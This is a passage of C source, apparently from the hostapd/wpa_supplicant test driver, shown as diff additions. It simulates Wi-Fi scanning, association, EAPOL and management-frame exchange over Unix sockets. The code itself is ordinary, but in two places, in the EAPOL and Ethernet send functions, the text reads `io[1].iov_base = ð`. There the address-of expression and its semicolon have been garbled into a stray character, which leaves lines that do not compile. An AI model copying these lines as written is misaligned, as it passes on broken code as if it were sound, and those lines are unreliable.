+#define MAX_SCAN_RESULTS 30 + struct wpa_scan_res *scanres[MAX_SCAN_RESULTS]; + size_t num_scanres; + int use_associnfo; + u8 assoc_wpa_ie[80]; + size_t assoc_wpa_ie_len; + int associated; + u8 *probe_req_ie; + size_t probe_req_ie_len; + u8 probe_req_ssid[32]; + size_t probe_req_ssid_len; + int ibss; + int ap; + + struct test_client_socket *cli; + struct dl_list bss; + int udp_port; + + int alloc_iface_idx; + + int probe_req_report; + unsigned int remain_on_channel_freq; + unsigned int remain_on_channel_duration; + + int current_freq; + + struct p2p_data *p2p; + unsigned int off_channel_freq; + struct wpabuf *pending_action_tx; + u8 pending_action_src[ETH_ALEN]; + u8 pending_action_dst[ETH_ALEN]; + u8 pending_action_bssid[ETH_ALEN]; + unsigned int pending_action_freq; + unsigned int pending_action_no_cck; + unsigned int pending_listen_freq; + unsigned int pending_listen_duration; + int pending_p2p_scan; + struct sockaddr *probe_from; + socklen_t probe_from_len; +}; + + +static void wpa_driver_test_deinit(void *priv); +static int wpa_driver_test_attach(struct wpa_driver_test_data *drv, + const char *dir, int ap); +static void wpa_driver_test_close_test_socket( + struct wpa_driver_test_data *drv); +static void test_remain_on_channel_timeout(void *eloop_ctx, void *timeout_ctx); +static int wpa_driver_test_init_p2p(struct wpa_driver_test_data *drv); + + +static void test_driver_free_bss(struct test_driver_bss *bss) +{ + os_free(bss->ie); + os_free(bss->wps_beacon_ie); + os_free(bss->wps_probe_resp_ie); + os_free(bss); +} + + +static void test_driver_free_bsses(struct wpa_driver_test_data *drv) +{ + struct test_driver_bss *bss, *tmp; + + dl_list_for_each_safe(bss, tmp, &drv->bss, struct test_driver_bss, + list) { + dl_list_del(&bss->list); + test_driver_free_bss(bss); + } +} + + +static struct test_client_socket * +test_driver_get_cli(struct wpa_driver_test_data *drv, struct sockaddr_un *from, + socklen_t fromlen) +{ + struct test_client_socket *cli = drv->cli; + + while (cli) { + if (cli->unlen == fromlen && + strncmp(cli->un.sun_path, from->sun_path, + fromlen - sizeof(cli->un.sun_family)) == 0) + return cli; + cli = cli->next; + } + + return NULL; +} + + +static int test_driver_send_eapol(void *priv, const u8 *addr, const u8 *data, + size_t data_len, int encrypt, + const u8 *own_addr, u32 flags) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_client_socket *cli; + struct msghdr msg; + struct iovec io[3]; + struct l2_ethhdr eth; + + if (drv->test_socket < 0) + return -1; + + cli = drv->cli; + while (cli) { + if (memcmp(cli->addr, addr, ETH_ALEN) == 0) + break; + cli = cli->next; + } + + if (!cli) { + wpa_printf(MSG_DEBUG, "%s: no destination client entry", + __func__); + return -1; + } + + memcpy(eth.h_dest, addr, ETH_ALEN); + memcpy(eth.h_source, own_addr, ETH_ALEN); + eth.h_proto = host_to_be16(ETH_P_EAPOL); + + io[0].iov_base = "EAPOL "; + io[0].iov_len = 6; + io[1].iov_base = ð + io[1].iov_len = sizeof(eth); + io[2].iov_base = (u8 *) data; + io[2].iov_len = data_len; + + memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = 3; + msg.msg_name = &cli->un; + msg.msg_namelen = cli->unlen; + return sendmsg(drv->test_socket, &msg, 0); +} + + +static int test_driver_send_ether(void *priv, const u8 *dst, const u8 *src, + u16 proto, const u8 *data, size_t data_len) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct msghdr msg; + struct iovec io[3]; + struct l2_ethhdr eth; + char desttxt[30]; + struct sockaddr_un addr; + struct dirent *dent; + DIR *dir; + int ret = 0, broadcast = 0, count = 0; + + if (drv->test_socket < 0 || drv->test_dir == NULL) { + wpa_printf(MSG_DEBUG, "%s: invalid parameters (sock=%d " + "test_dir=%p)", + __func__, drv->test_socket, drv->test_dir); + return -1; + } + + broadcast = memcmp(dst, "\xff\xff\xff\xff\xff\xff", ETH_ALEN) == 0; + snprintf(desttxt, sizeof(desttxt), MACSTR, MAC2STR(dst)); + + memcpy(eth.h_dest, dst, ETH_ALEN); + memcpy(eth.h_source, src, ETH_ALEN); + eth.h_proto = host_to_be16(proto); + + io[0].iov_base = "ETHER "; + io[0].iov_len = 6; + io[1].iov_base = ð + io[1].iov_len = sizeof(eth); + io[2].iov_base = (u8 *) data; + io[2].iov_len = data_len; + + memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = 3; + + dir = opendir(drv->test_dir); + if (dir == NULL) { + perror("test_driver: opendir"); + return -1; + } + while ((dent = readdir(dir))) { +#ifdef _DIRENT_HAVE_D_TYPE + /* Skip the file if it is not a socket. Also accept + * DT_UNKNOWN (0) in case the C library or underlying file + * system does not support d_type. */ + if (dent->d_type != DT_SOCK && dent->d_type != DT_UNKNOWN) + continue; +#endif /* _DIRENT_HAVE_D_TYPE */ + if (strcmp(dent->d_name, ".") == 0 || + strcmp(dent->d_name, "..") == 0) + continue; + + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + snprintf(addr.sun_path, sizeof(addr.sun_path), "%s/%s", + drv->test_dir, dent->d_name); + + if (strcmp(addr.sun_path, drv->own_socket_path) == 0) + continue; + if (!broadcast && strstr(dent->d_name, desttxt) == NULL) + continue; + + wpa_printf(MSG_DEBUG, "%s: Send ether frame to %s", + __func__, dent->d_name); + + msg.msg_name = &addr; + msg.msg_namelen = sizeof(addr); + ret = sendmsg(drv->test_socket, &msg, 0); + if (ret < 0) + perror("driver_test: sendmsg"); + count++; + } + closedir(dir); + + if (!broadcast && count == 0) { + wpa_printf(MSG_DEBUG, "%s: Destination " MACSTR " not found", + __func__, MAC2STR(dst)); + return -1; + } + + return ret; +} + + +static int wpa_driver_test_send_mlme(void *priv, const u8 *data, + size_t data_len, int noack) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct msghdr msg; + struct iovec io[2]; + const u8 *dest; + struct sockaddr_un addr; + struct dirent *dent; + DIR *dir; + int broadcast; + int ret = 0; + struct ieee80211_hdr *hdr; + u16 fc; + char cmd[50]; + int freq; +#ifdef HOSTAPD + char desttxt[30]; +#endif /* HOSTAPD */ + union wpa_event_data event; + + wpa_hexdump(MSG_MSGDUMP, "test_send_mlme", data, data_len); + if (drv->test_socket < 0 || data_len < 10) { + wpa_printf(MSG_DEBUG, "%s: invalid parameters (sock=%d len=%lu" + " test_dir=%p)", + __func__, drv->test_socket, + (unsigned long) data_len, + drv->test_dir); + return -1; + } + + dest = data + 4; + broadcast = os_memcmp(dest, "\xff\xff\xff\xff\xff\xff", ETH_ALEN) == 0; + +#ifdef HOSTAPD + snprintf(desttxt, sizeof(desttxt), MACSTR, MAC2STR(dest)); +#endif /* HOSTAPD */ + + if (drv->remain_on_channel_freq) + freq = drv->remain_on_channel_freq; + else + freq = drv->current_freq; + wpa_printf(MSG_DEBUG, "test_driver(%s): MLME TX on freq %d MHz", + dbss->ifname, freq); + os_snprintf(cmd, sizeof(cmd), "MLME freq=%d ", freq); + io[0].iov_base = cmd; + io[0].iov_len = os_strlen(cmd); + io[1].iov_base = (void *) data; + io[1].iov_len = data_len; + + os_memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = 2; + +#ifdef HOSTAPD + if (drv->test_dir == NULL) { + wpa_printf(MSG_DEBUG, "%s: test_dir == NULL", __func__); + return -1; + } + + dir = opendir(drv->test_dir); + if (dir == NULL) { + perror("test_driver: opendir"); + return -1; + } + while ((dent = readdir(dir))) { +#ifdef _DIRENT_HAVE_D_TYPE + /* Skip the file if it is not a socket. Also accept + * DT_UNKNOWN (0) in case the C library or underlying file + * system does not support d_type. */ + if (dent->d_type != DT_SOCK && dent->d_type != DT_UNKNOWN) + continue; +#endif /* _DIRENT_HAVE_D_TYPE */ + if (os_strcmp(dent->d_name, ".") == 0 || + os_strcmp(dent->d_name, "..") == 0) + continue; + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_snprintf(addr.sun_path, sizeof(addr.sun_path), "%s/%s", + drv->test_dir, dent->d_name); + + if (os_strcmp(addr.sun_path, drv->own_socket_path) == 0) + continue; + if (!broadcast && os_strstr(dent->d_name, desttxt) == NULL) + continue; + + wpa_printf(MSG_DEBUG, "%s: Send management frame to %s", + __func__, dent->d_name); + + msg.msg_name = &addr; + msg.msg_namelen = sizeof(addr); + ret = sendmsg(drv->test_socket, &msg, 0); + if (ret < 0) + perror("driver_test: sendmsg(test_socket)"); + } + closedir(dir); +#else /* HOSTAPD */ + + if (os_memcmp(dest, dbss->bssid, ETH_ALEN) == 0 || + drv->test_dir == NULL) { + if (drv->hostapd_addr_udp_set) { + msg.msg_name = &drv->hostapd_addr_udp; + msg.msg_namelen = sizeof(drv->hostapd_addr_udp); + } else { +#ifdef DRIVER_TEST_UNIX + msg.msg_name = &drv->hostapd_addr; + msg.msg_namelen = sizeof(drv->hostapd_addr); +#endif /* DRIVER_TEST_UNIX */ + } + } else if (broadcast) { + dir = opendir(drv->test_dir); + if (dir == NULL) + return -1; + while ((dent = readdir(dir))) { +#ifdef _DIRENT_HAVE_D_TYPE + /* Skip the file if it is not a socket. + * Also accept DT_UNKNOWN (0) in case + * the C library or underlying file + * system does not support d_type. */ + if (dent->d_type != DT_SOCK && + dent->d_type != DT_UNKNOWN) + continue; +#endif /* _DIRENT_HAVE_D_TYPE */ + if (os_strcmp(dent->d_name, ".") == 0 || + os_strcmp(dent->d_name, "..") == 0) + continue; + wpa_printf(MSG_DEBUG, "%s: Send broadcast MLME to %s", + __func__, dent->d_name); + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_snprintf(addr.sun_path, sizeof(addr.sun_path), + "%s/%s", drv->test_dir, dent->d_name); + + msg.msg_name = &addr; + msg.msg_namelen = sizeof(addr); + + ret = sendmsg(drv->test_socket, &msg, 0); + if (ret < 0) + perror("driver_test: sendmsg(test_socket)"); + } + closedir(dir); + return ret; + } else { + struct stat st; + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_snprintf(addr.sun_path, sizeof(addr.sun_path), + "%s/AP-" MACSTR, drv->test_dir, MAC2STR(dest)); + if (stat(addr.sun_path, &st) < 0) { + os_snprintf(addr.sun_path, sizeof(addr.sun_path), + "%s/STA-" MACSTR, + drv->test_dir, MAC2STR(dest)); + } + msg.msg_name = &addr; + msg.msg_namelen = sizeof(addr); + } + + if (sendmsg(drv->test_socket, &msg, 0) < 0) { + perror("sendmsg(test_socket)"); + return -1; + } +#endif /* HOSTAPD */ + + hdr = (struct ieee80211_hdr *) data; + fc = le_to_host16(hdr->frame_control); + + os_memset(&event, 0, sizeof(event)); + event.tx_status.type = WLAN_FC_GET_TYPE(fc); + event.tx_status.stype = WLAN_FC_GET_STYPE(fc); + event.tx_status.dst = hdr->addr1; + event.tx_status.data = data; + event.tx_status.data_len = data_len; + event.tx_status.ack = ret >= 0; + wpa_supplicant_event(drv->ctx, EVENT_TX_STATUS, &event); + +#ifdef CONFIG_P2P + if (drv->p2p && + WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_ACTION) { + if (drv->pending_action_tx == NULL) { + wpa_printf(MSG_DEBUG, "P2P: Ignore Action TX status - " + "no pending operation"); + return ret; + } + + if (os_memcmp(hdr->addr1, drv->pending_action_dst, ETH_ALEN) != + 0) { + wpa_printf(MSG_DEBUG, "P2P: Ignore Action TX status - " + "unknown destination address"); + return ret; + } + + wpabuf_free(drv->pending_action_tx); + drv->pending_action_tx = NULL; + + p2p_send_action_cb(drv->p2p, drv->pending_action_freq, + drv->pending_action_dst, + drv->pending_action_src, + drv->pending_action_bssid, + ret >= 0); + } +#endif /* CONFIG_P2P */ + + return ret; +} + + +static void test_driver_scan(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen, + char *data) +{ + char buf[512], *pos, *end; + int ret; + struct test_driver_bss *bss; + u8 sa[ETH_ALEN]; + u8 ie[512]; + size_t ielen; + union wpa_event_data event; + + /* data: optional [ ' ' | STA-addr | ' ' | IEs(hex) ] */ + + wpa_printf(MSG_DEBUG, "test_driver: SCAN"); + + if (*data) { + if (*data != ' ' || + hwaddr_aton(data + 1, sa)) { + wpa_printf(MSG_DEBUG, "test_driver: Unexpected SCAN " + "command format"); + return; + } + + data += 18; + while (*data == ' ') + data++; + ielen = os_strlen(data) / 2; + if (ielen > sizeof(ie)) + ielen = sizeof(ie); + if (hexstr2bin(data, ie, ielen) < 0) + ielen = 0; + + wpa_printf(MSG_DEBUG, "test_driver: Scan from " MACSTR, + MAC2STR(sa)); + wpa_hexdump(MSG_MSGDUMP, "test_driver: scan IEs", ie, ielen); + + os_memset(&event, 0, sizeof(event)); + event.rx_probe_req.sa = sa; + event.rx_probe_req.ie = ie; + event.rx_probe_req.ie_len = ielen; + wpa_supplicant_event(drv->ctx, EVENT_RX_PROBE_REQ, &event); +#ifdef CONFIG_P2P + if (drv->p2p) + p2p_probe_req_rx(drv->p2p, sa, NULL, NULL, ie, ielen); +#endif /* CONFIG_P2P */ + } + + dl_list_for_each(bss, &drv->bss, struct test_driver_bss, list) { + pos = buf; + end = buf + sizeof(buf); + + /* reply: SCANRESP BSSID SSID IEs */ + ret = snprintf(pos, end - pos, "SCANRESP " MACSTR " ", + MAC2STR(bss->bssid)); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, + bss->ssid, bss->ssid_len); + ret = snprintf(pos, end - pos, " "); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, bss->ie, bss->ielen); + pos += wpa_snprintf_hex(pos, end - pos, bss->wps_probe_resp_ie, + bss->wps_probe_resp_ie_len); + + if (bss->privacy) { + ret = snprintf(pos, end - pos, " PRIVACY"); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + } + + sendto(drv->test_socket, buf, pos - buf, 0, + (struct sockaddr *) from, fromlen); + } +} + + +static void test_driver_assoc(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen, + char *data) +{ + struct test_client_socket *cli; + u8 ie[256], ssid[32]; + size_t ielen, ssid_len = 0; + char *pos, *pos2, cmd[50]; + struct test_driver_bss *bss, *tmp; + + /* data: STA-addr SSID(hex) IEs(hex) */ + + cli = os_zalloc(sizeof(*cli)); + if (cli == NULL) + return; + + if (hwaddr_aton(data, cli->addr)) { + printf("test_socket: Invalid MAC address '%s' in ASSOC\n", + data); + os_free(cli); + return; + } + pos = data + 17; + while (*pos == ' ') + pos++; + pos2 = strchr(pos, ' '); + ielen = 0; + if (pos2) { + ssid_len = (pos2 - pos) / 2; + if (hexstr2bin(pos, ssid, ssid_len) < 0) { + wpa_printf(MSG_DEBUG, "%s: Invalid SSID", __func__); + os_free(cli); + return; + } + wpa_hexdump_ascii(MSG_DEBUG, "test_driver_assoc: SSID", + ssid, ssid_len); + + pos = pos2 + 1; + ielen = strlen(pos) / 2; + if (ielen > sizeof(ie)) + ielen = sizeof(ie); + if (hexstr2bin(pos, ie, ielen) < 0) + ielen = 0; + } + + bss = NULL; + dl_list_for_each(tmp, &drv->bss, struct test_driver_bss, list) { + if (tmp->ssid_len == ssid_len && + os_memcmp(tmp->ssid, ssid, ssid_len) == 0) { + bss = tmp; + break; + } + } + if (bss == NULL) { + wpa_printf(MSG_DEBUG, "%s: No matching SSID found from " + "configured BSSes", __func__); + os_free(cli); + return; + } + + cli->bss = bss; + memcpy(&cli->un, from, sizeof(cli->un)); + cli->unlen = fromlen; + cli->next = drv->cli; + drv->cli = cli; + wpa_hexdump_ascii(MSG_DEBUG, "test_socket: ASSOC sun_path", + (const u8 *) cli->un.sun_path, + cli->unlen - sizeof(cli->un.sun_family)); + + snprintf(cmd, sizeof(cmd), "ASSOCRESP " MACSTR " 0", + MAC2STR(bss->bssid)); + sendto(drv->test_socket, cmd, strlen(cmd), 0, + (struct sockaddr *) from, fromlen); + + drv_event_assoc(bss->bss_ctx, cli->addr, ie, ielen, 0); +} + + +static void test_driver_disassoc(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen) +{ + struct test_client_socket *cli; + + cli = test_driver_get_cli(drv, from, fromlen); + if (!cli) + return; + + drv_event_disassoc(drv->ctx, cli->addr); +} + + +static void test_driver_eapol(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen, + u8 *data, size_t datalen) +{ +#ifdef HOSTAPD + struct test_client_socket *cli; +#endif /* HOSTAPD */ + const u8 *src = NULL; + + if (datalen > 14) { + /* Skip Ethernet header */ + src = data + ETH_ALEN; + wpa_printf(MSG_DEBUG, "test_driver: dst=" MACSTR " src=" + MACSTR " proto=%04x", + MAC2STR(data), MAC2STR(src), + WPA_GET_BE16(data + 2 * ETH_ALEN)); + data += 14; + datalen -= 14; + } + +#ifdef HOSTAPD + cli = test_driver_get_cli(drv, from, fromlen); + if (cli) { + drv_event_eapol_rx(cli->bss->bss_ctx, cli->addr, data, + datalen); + } else { + wpa_printf(MSG_DEBUG, "test_socket: EAPOL from unknown " + "client"); + } +#else /* HOSTAPD */ + if (src) + drv_event_eapol_rx(drv->ctx, src, data, datalen); +#endif /* HOSTAPD */ +} + + +static void test_driver_ether(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen, + u8 *data, size_t datalen) +{ + struct l2_ethhdr *eth; + + if (datalen < sizeof(*eth)) + return; + + eth = (struct l2_ethhdr *) data; + wpa_printf(MSG_DEBUG, "test_driver: RX ETHER dst=" MACSTR " src=" + MACSTR " proto=%04x", + MAC2STR(eth->h_dest), MAC2STR(eth->h_source), + be_to_host16(eth->h_proto)); + +#ifdef CONFIG_IEEE80211R + if (be_to_host16(eth->h_proto) == ETH_P_RRB) { + union wpa_event_data ev; + os_memset(&ev, 0, sizeof(ev)); + ev.ft_rrb_rx.src = eth->h_source; + ev.ft_rrb_rx.data = data + sizeof(*eth); + ev.ft_rrb_rx.data_len = datalen - sizeof(*eth); + } +#endif /* CONFIG_IEEE80211R */ +} + + +static void test_driver_mlme(struct wpa_driver_test_data *drv, + struct sockaddr_un *from, socklen_t fromlen, + u8 *data, size_t datalen) +{ + struct ieee80211_hdr *hdr; + u16 fc; + union wpa_event_data event; + int freq = 0, own_freq; + struct test_driver_bss *bss; + + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + + if (datalen > 6 && os_memcmp(data, "freq=", 5) == 0) { + size_t pos; + for (pos = 5; pos < datalen; pos++) { + if (data[pos] == ' ') + break; + } + if (pos < datalen) { + freq = atoi((const char *) &data[5]); + wpa_printf(MSG_DEBUG, "test_driver(%s): MLME RX on " + "freq %d MHz", bss->ifname, freq); + pos++; + data += pos; + datalen -= pos; + } + } + + if (drv->remain_on_channel_freq) + own_freq = drv->remain_on_channel_freq; + else + own_freq = drv->current_freq; + + if (freq && own_freq && freq != own_freq) { + wpa_printf(MSG_DEBUG, "test_driver(%s): Ignore MLME RX on " + "another frequency %d MHz (own %d MHz)", + bss->ifname, freq, own_freq); + return; + } + + hdr = (struct ieee80211_hdr *) data; + + if (test_driver_get_cli(drv, from, fromlen) == NULL && datalen >= 16) { + struct test_client_socket *cli; + cli = os_zalloc(sizeof(*cli)); + if (cli == NULL) + return; + wpa_printf(MSG_DEBUG, "Adding client entry for " MACSTR, + MAC2STR(hdr->addr2)); + memcpy(cli->addr, hdr->addr2, ETH_ALEN); + memcpy(&cli->un, from, sizeof(cli->un)); + cli->unlen = fromlen; + cli->next = drv->cli; + drv->cli = cli; + } + + wpa_hexdump(MSG_MSGDUMP, "test_driver_mlme: received frame", + data, datalen); + fc = le_to_host16(hdr->frame_control); + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT) { + wpa_printf(MSG_ERROR, "%s: received non-mgmt frame", + __func__); + return; + } + + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = data; + event.rx_mgmt.frame_len = datalen; + wpa_supplicant_event(drv->ctx, EVENT_RX_MGMT, &event); +} + + +static void test_driver_receive_unix(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + char buf[2000]; + int res; + struct sockaddr_un from; + socklen_t fromlen = sizeof(from); + + res = recvfrom(sock, buf, sizeof(buf) - 1, 0, + (struct sockaddr *) &from, &fromlen); + if (res < 0) { + perror("recvfrom(test_socket)"); + return; + } + buf[res] = '\0'; + + wpa_printf(MSG_DEBUG, "test_driver: received %u bytes", res); + + if (strncmp(buf, "SCAN", 4) == 0) { + test_driver_scan(drv, &from, fromlen, buf + 4); + } else if (strncmp(buf, "ASSOC ", 6) == 0) { + test_driver_assoc(drv, &from, fromlen, buf + 6); + } else if (strcmp(buf, "DISASSOC") == 0) { + test_driver_disassoc(drv, &from, fromlen); + } else if (strncmp(buf, "EAPOL ", 6) == 0) { + test_driver_eapol(drv, &from, fromlen, (u8 *) buf + 6, + res - 6); + } else if (strncmp(buf, "ETHER ", 6) == 0) { + test_driver_ether(drv, &from, fromlen, (u8 *) buf + 6, + res - 6); + } else if (strncmp(buf, "MLME ", 5) == 0) { + test_driver_mlme(drv, &from, fromlen, (u8 *) buf + 5, res - 5); + } else { + wpa_hexdump_ascii(MSG_DEBUG, "Unknown test_socket command", + (u8 *) buf, res); + } +} + + +static int test_driver_set_generic_elem(void *priv, + const u8 *elem, size_t elem_len) +{ + struct test_driver_bss *bss = priv; + + os_free(bss->ie); + + if (elem == NULL) { + bss->ie = NULL; + bss->ielen = 0; + return 0; + } + + bss->ie = os_malloc(elem_len); + if (bss->ie == NULL) { + bss->ielen = 0; + return -1; + } + + memcpy(bss->ie, elem, elem_len); + bss->ielen = elem_len; + return 0; +} + + +static int test_driver_set_ap_wps_ie(void *priv, const struct wpabuf *beacon, + const struct wpabuf *proberesp, + const struct wpabuf *assocresp) +{ + struct test_driver_bss *bss = priv; + + if (beacon == NULL) + wpa_printf(MSG_DEBUG, "test_driver: Clear Beacon WPS IE"); + else + wpa_hexdump_buf(MSG_DEBUG, "test_driver: Beacon WPS IE", + beacon); + + os_free(bss->wps_beacon_ie); + + if (beacon == NULL) { + bss->wps_beacon_ie = NULL; + bss->wps_beacon_ie_len = 0; + } else { + bss->wps_beacon_ie = os_malloc(wpabuf_len(beacon)); + if (bss->wps_beacon_ie == NULL) { + bss->wps_beacon_ie_len = 0; + return -1; + } + + os_memcpy(bss->wps_beacon_ie, wpabuf_head(beacon), + wpabuf_len(beacon)); + bss->wps_beacon_ie_len = wpabuf_len(beacon); + } + + if (proberesp == NULL) + wpa_printf(MSG_DEBUG, "test_driver: Clear Probe Response WPS " + "IE"); + else + wpa_hexdump_buf(MSG_DEBUG, "test_driver: Probe Response WPS " + "IE", proberesp); + + os_free(bss->wps_probe_resp_ie); + + if (proberesp == NULL) { + bss->wps_probe_resp_ie = NULL; + bss->wps_probe_resp_ie_len = 0; + } else { + bss->wps_probe_resp_ie = os_malloc(wpabuf_len(proberesp)); + if (bss->wps_probe_resp_ie == NULL) { + bss->wps_probe_resp_ie_len = 0; + return -1; + } + + os_memcpy(bss->wps_probe_resp_ie, wpabuf_head(proberesp), + wpabuf_len(proberesp)); + bss->wps_probe_resp_ie_len = wpabuf_len(proberesp); + } + + return 0; +} + + +static int test_driver_sta_deauth(void *priv, const u8 *own_addr, + const u8 *addr, int reason) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_client_socket *cli; + + if (drv->test_socket < 0) + return -1; + + cli = drv->cli; + while (cli) { + if (memcmp(cli->addr, addr, ETH_ALEN) == 0) + break; + cli = cli->next; + } + + if (!cli) + return -1; + + return sendto(drv->test_socket, "DEAUTH", 6, 0, + (struct sockaddr *) &cli->un, cli->unlen); +} + + +static int test_driver_sta_disassoc(void *priv, const u8 *own_addr, + const u8 *addr, int reason) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_client_socket *cli; + + if (drv->test_socket < 0) + return -1; + + cli = drv->cli; + while (cli) { + if (memcmp(cli->addr, addr, ETH_ALEN) == 0) + break; + cli = cli->next; + } + + if (!cli) + return -1; + + return sendto(drv->test_socket, "DISASSOC", 8, 0, + (struct sockaddr *) &cli->un, cli->unlen); +} + + +static int test_driver_bss_add(void *priv, const char *ifname, const u8 *bssid, + void *bss_ctx, void **drv_priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_driver_bss *bss; + + wpa_printf(MSG_DEBUG, "%s(ifname=%s bssid=" MACSTR ")", + __func__, ifname, MAC2STR(bssid)); + + bss = os_zalloc(sizeof(*bss)); + if (bss == NULL) + return -1; + + bss->bss_ctx = bss_ctx; + bss->drv = drv; + os_strlcpy(bss->ifname, ifname, IFNAMSIZ); + os_memcpy(bss->bssid, bssid, ETH_ALEN); + + dl_list_add(&drv->bss, &bss->list); + if (drv->global) { + drv->global->bss_add_used = 1; + os_memcpy(drv->global->req_addr, bssid, ETH_ALEN); + } + + if (drv_priv) + *drv_priv = bss; + + return 0; +} + + +static int test_driver_bss_remove(void *priv, const char *ifname) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_driver_bss *bss; + struct test_client_socket *cli, *prev_c; + + wpa_printf(MSG_DEBUG, "%s(ifname=%s)", __func__, ifname); + + dl_list_for_each(bss, &drv->bss, struct test_driver_bss, list) { + if (strcmp(bss->ifname, ifname) != 0) + continue; + + for (prev_c = NULL, cli = drv->cli; cli; + prev_c = cli, cli = cli->next) { + if (cli->bss != bss) + continue; + if (prev_c) + prev_c->next = cli->next; + else + drv->cli = cli->next; + os_free(cli); + break; + } + + dl_list_del(&bss->list); + test_driver_free_bss(bss); + return 0; + } + + return -1; +} + + +static int test_driver_if_add(void *priv, enum wpa_driver_if_type type, + const char *ifname, const u8 *addr, + void *bss_ctx, void **drv_priv, + char *force_ifname, u8 *if_addr, + const char *bridge, int use_existing) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + + wpa_printf(MSG_DEBUG, "%s(type=%d ifname=%s bss_ctx=%p)", + __func__, type, ifname, bss_ctx); + if (addr) + os_memcpy(if_addr, addr, ETH_ALEN); + else { + drv->alloc_iface_idx++; + if_addr[0] = 0x02; /* locally administered */ + sha1_prf(drv->own_addr, ETH_ALEN, + "hostapd test addr generation", + (const u8 *) &drv->alloc_iface_idx, + sizeof(drv->alloc_iface_idx), + if_addr + 1, ETH_ALEN - 1); + } + if (type == WPA_IF_AP_BSS || type == WPA_IF_P2P_GO || + type == WPA_IF_P2P_CLIENT || type == WPA_IF_P2P_GROUP) + return test_driver_bss_add(priv, ifname, if_addr, bss_ctx, + drv_priv); + return 0; +} + + +static int test_driver_if_remove(void *priv, enum wpa_driver_if_type type, + const char *ifname) +{ + wpa_printf(MSG_DEBUG, "%s(type=%d ifname=%s)", __func__, type, ifname); + if (type == WPA_IF_AP_BSS || type == WPA_IF_P2P_GO || + type == WPA_IF_P2P_CLIENT || type == WPA_IF_P2P_GROUP) + return test_driver_bss_remove(priv, ifname); + return 0; +} + + +static int test_driver_set_ssid(void *priv, const u8 *buf, int len) +{ + struct test_driver_bss *bss = priv; + + wpa_printf(MSG_DEBUG, "%s(ifname=%s)", __func__, bss->ifname); + if (len < 0) + return -1; + wpa_hexdump_ascii(MSG_DEBUG, "test_driver_set_ssid: SSID", buf, len); + + if ((size_t) len > sizeof(bss->ssid)) + return -1; + + os_memcpy(bss->ssid, buf, len); + bss->ssid_len = len; + + return 0; +} + + +static int test_driver_set_privacy(void *priv, int enabled) +{ + struct test_driver_bss *dbss = priv; + + wpa_printf(MSG_DEBUG, "%s(enabled=%d)", __func__, enabled); + dbss->privacy = enabled; + + return 0; +} + + +static int test_driver_set_sta_vlan(void *priv, const u8 *addr, + const char *ifname, int vlan_id) +{ + wpa_printf(MSG_DEBUG, "%s(addr=" MACSTR " ifname=%s vlan_id=%d)", + __func__, MAC2STR(addr), ifname, vlan_id); + return 0; +} + + +static int test_driver_sta_add(void *priv, + struct hostapd_sta_add_params *params) +{ + struct test_driver_bss *bss = priv; + struct wpa_driver_test_data *drv = bss->drv; + struct test_client_socket *cli; + + wpa_printf(MSG_DEBUG, "%s(ifname=%s addr=" MACSTR " aid=%d " + "capability=0x%x listen_interval=%d)", + __func__, bss->ifname, MAC2STR(params->addr), params->aid, + params->capability, params->listen_interval); + wpa_hexdump(MSG_DEBUG, "test_driver_sta_add - supp_rates", + params->supp_rates, params->supp_rates_len); + + cli = drv->cli; + while (cli) { + if (os_memcmp(cli->addr, params->addr, ETH_ALEN) == 0) + break; + cli = cli->next; + } + if (!cli) { + wpa_printf(MSG_DEBUG, "%s: no matching client entry", + __func__); + return -1; + } + + cli->bss = bss; + + return 0; +} + + +static struct wpa_driver_test_data * test_alloc_data(void *ctx, + const char *ifname) +{ + struct wpa_driver_test_data *drv; + struct test_driver_bss *bss; + + drv = os_zalloc(sizeof(struct wpa_driver_test_data)); + if (drv == NULL) { + wpa_printf(MSG_ERROR, "Could not allocate memory for test " + "driver data"); + return NULL; + } + + bss = os_zalloc(sizeof(struct test_driver_bss)); + if (bss == NULL) { + os_free(drv); + return NULL; + } + + drv->ctx = ctx; + wpa_trace_add_ref(drv, ctx, ctx); + dl_list_init(&drv->bss); + dl_list_add(&drv->bss, &bss->list); + os_strlcpy(bss->ifname, ifname, IFNAMSIZ); + bss->bss_ctx = ctx; + bss->drv = drv; + + /* Generate a MAC address to help testing with multiple STAs */ + drv->own_addr[0] = 0x02; /* locally administered */ + 